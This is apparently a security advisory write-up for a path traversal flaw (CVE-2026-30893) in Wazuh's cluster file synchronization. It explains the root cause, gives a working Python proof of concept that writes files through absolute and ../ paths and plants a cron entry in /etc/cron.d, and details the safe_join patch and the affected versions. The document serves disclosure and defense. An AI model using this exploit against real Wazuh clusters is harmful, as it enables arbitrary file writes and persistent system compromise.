Introduction
A path traversal flaw in Wazuh's cluster synchronization protocol allows an authenticated peer node to write arbitrary files anywhere on the filesystem of other cluster members, turning a single compromised node into a launchpad for cluster wide takeover. With a CVSS score of 9.0 and a public proof of concept available, CVE-2026-30893 represents a serious risk for the large number of organizations relying on Wazuh for their security monitoring infrastructure.
Wazuh is a free and open source platform that unifies Extended Detection and Response (XDR) and Security Information and Event Management (SIEM) capabilities. The vendor reports protecting over 15 million endpoints across more than 100 thousand enterprise users, including Fortune 500 companies. As a security platform that often runs with elevated privileges and sits at the heart of an organization's detection pipeline, vulnerabilities in Wazuh carry outsized consequences.
Technical Information
Root Cause
The vulnerability resides in the decompress_files() function within framework/wazuh/core/cluster/cluster.py. This function handles the extraction of files received during cluster synchronization between Wazuh master and worker nodes. The core issue is straightforward: file paths embedded in the synchronization archive payload are passed directly to Python's os.path.join() without any path containment, normalization, or validation.
Python's os.path.join() has a well documented behavior that is frequently the source of path traversal vulnerabilities: if any component argument is an absolute path, all previous components are silently discarded. This means a payload containing a path like /etc/cron.d/backdoor causes os.path.join(base_dir, "/etc/cron.d/backdoor") to return /etc/cron.d/backdoor, completely ignoring the intended base directory.
Attack Flow
The Wazuh cluster protocol uses a custom archive format for synchronizing files between nodes. This archive embeds file paths and their compressed contents, separated by specific delimiters (|@@//@@| between files, |//@@//| between a file's path and its content). During normal operations, the decompress_files() function is invoked when processing worker integrity metadata, extra valid files from workers, and other synchronization payloads.
An attacker who has authenticated as a cluster peer (which requires possession of the cluster key) can craft a malicious synchronization archive with two types of path manipulation:
-
Absolute path injection: The attacker embeds an absolute path such as
/etc/cron.d/wazuh_exploitas the filename in the archive. Whenos.path.join()encounters this absolute path, it discards the base extraction directory entirely and writes directly to the specified location. -
Relative directory traversal: The attacker uses sequences like
../../../../tmp/PWNED_TRAVERSAL.txtto escape the intended extraction directory by traversing up the directory tree.
Both variants exploit the same underlying issue: the decompress_files() function trusts the file paths provided by the sending peer without verification.
Impact by Execution Context
The severity of exploitation depends on the privilege level of the Wazuh cluster daemon:
Default installation (wazuh user): An attacker can write to any path writable by the wazuh user. This includes the ability to overwrite Python modules in the /var/ossec/wodles/ directory, which are loaded by Wazuh components. Overwriting these modules achieves code execution within the Wazuh service context.
Elevated context (root user): In deployments where the cluster daemon runs as root, which is common in Docker environments, the attacker gains the ability to write to any location on the filesystem. This enables full system compromise through writes to /etc/cron.d/ for persistent command execution, /root/.ssh/authorized_keys for SSH access, or any other sensitive system path.
Proof of Concept
A complete proof of concept is provided directly within the GitHub Security Advisory GHSA-m8rw-v4f6-8787. The script constructs a malicious cluster sync payload demonstrating both exploitation variants and then invokes the actual vulnerable decompress_files() function:
#!/usr/bin/env python3 import os import zlib FILE_SEP = '|@@//@@|' PATH_SEP = '|//@@//|' print("Step 1: Creating malicious cluster sync payload") exploit_content = b'PWNED BY PATH TRAVERSAL' cron_payload = b'* * * * * root echo EXPLOITED >> /tmp/cron_proof\n' payloads = [] payloads.append(b'files_metadata.json' + PATH_SEP.encode() + zlib.compress(b'{}')) payloads.append(b'/tmp/PWNED_ABSOLUTE.txt' + PATH_SEP.encode() + zlib.compress(exploit_content)) payloads.append(b'../../../../tmp/PWNED_TRAVERSAL.txt' + PATH_SEP.encode() + zlib.compress(exploit_content)) payloads.append(b'/etc/cron.d/wazuh_exploit' + PATH_SEP.encode() + zlib.compress(cron_payload)) archive = FILE_SEP.encode().join(payloads) with open('/tmp/malicious.zip', 'wb') as f: f.write(archive) print("Step 2: Invoking actual Wazuh decompress_files() function") from wazuh.core.cluster.cluster import decompress_files result = decompress_files('/tmp/malicious.zip') print("Step 3: Verifying exploitation") for target in ['/tmp/PWNED_ABSOLUTE.txt', '/tmp/PWNED_TRAVERSAL.txt', '/etc/cron.d/wazuh_exploit']: if os.path.exists(target): print(f"[EXPLOITED] {target}")
Reproduction steps from the advisory:
- Start a Wazuh 4.14.2 (or any affected version from 4.4.0 up to but not including 4.14.4) manager environment.
- Copy the PoC script into the container.
- Run with Wazuh's embedded Python:
/var/ossec/framework/python/bin/python3 /tmp/poc_complete.py - Observe files created at
/tmp/PWNED_ABSOLUTE.txt,/tmp/PWNED_TRAVERSAL.txt, and/etc/cron.d/wazuh_exploit.
The payload includes a cron job entry that, when written to /etc/cron.d/ on a root context deployment, would execute arbitrary commands every minute, demonstrating the path from arbitrary file write to persistent system compromise.
Patch Information
The Wazuh team addressed CVE-2026-30893 via Pull Request #34464 ("Improve cluster file sync path handling"), merged on February 12, 2026 and shipped in Wazuh v4.14.4, released on March 17, 2026.
Rather than adding ad hoc path checks at every call site, the developers introduced a centralized safe_join() utility function in framework/wazuh/core/cluster/utils.py:
@lru_cache() def safe_join(base_path: str, *paths: str) -> str: safe_paths = [p.lstrip(os.sep).lstrip("/") for p in paths] base = os.path.normpath(base_path) final_path = os.path.normpath(os.path.join(base, *safe_paths)) if os.path.commonpath([base, final_path]) != base: raise WazuhInternalError(3003, extra_message=f"unsafe path '{final_path}'") return final_path
This function applies three defensive layers:
-
Absolute path neutralization:
p.lstrip(os.sep).lstrip("/")strips leading path separators from each component, defeating the absolute path injection variant whereos.path.join()would otherwise discard the base directory entirely. -
Path normalization: Both the base and the resulting joined path are run through
os.path.normpath(), which resolves..,., and redundant separators into a canonical form. This ensures traversal sequences likesub/../../etc/passwdare collapsed before the containment check. -
Containment verification:
os.path.commonpath([base, final_path])is compared against the base. If the final resolved path has escaped the intended directory tree,commonpathreturns a parent ofbase, the check fails, and aWazuhInternalError(3003)is raised.
The result is cached via @lru_cache() for performance during bulk file synchronization operations.
The fix was applied systematically across every location where sync file paths are resolved:
cluster.pyindecompress_files()(the primary vulnerable function):os.path.join(decompress_dir, filepath.decode())was replaced withsafe_join(decompress_dir, filepath.decode())master.pyinprocess_files_from_worker(): Four separateos.path.join()calls were replaced withsafe_join()worker.pyinoverwrite_or_create_files(): Sixos.path.join()calls were replaced withsafe_join()
A new error code (3003) was added to framework/wazuh/core/exception.py with the message "Error during file handling" to surface path containment violations. Comprehensive unit tests were added using parametrized pytest cases that validate safe_join correctly allows legitimate sub paths (e.g., sub/file.txt, ./file.txt) while raising WazuhInternalError for traversal attempts (../, ../../etc/passwd, and multi component traversal).
Affected Systems and Versions
The vulnerability affects Wazuh versions 4.4.0 through 4.14.3 (inclusive). Any Wazuh cluster deployment running a version within this range where cluster synchronization is active between master and worker nodes is vulnerable.
Deployments running the cluster daemon with elevated privileges (root), which is the default in Docker based deployments, face the highest risk as exploitation enables full system compromise rather than being limited to the Wazuh service context.
The fix is available in Wazuh version 4.14.4 and later.
Vendor Security History
Wazuh maintains an active security advisory program and encourages private vulnerability disclosure. The release of version 4.14.4 to address this flaw demonstrates responsiveness to critical issues. The open source nature of the platform allows for transparent auditing of both vulnerabilities and their fixes, and the patch for this CVE shows a mature approach: introducing a centralized safe path utility rather than point fixes, accompanied by comprehensive test coverage.



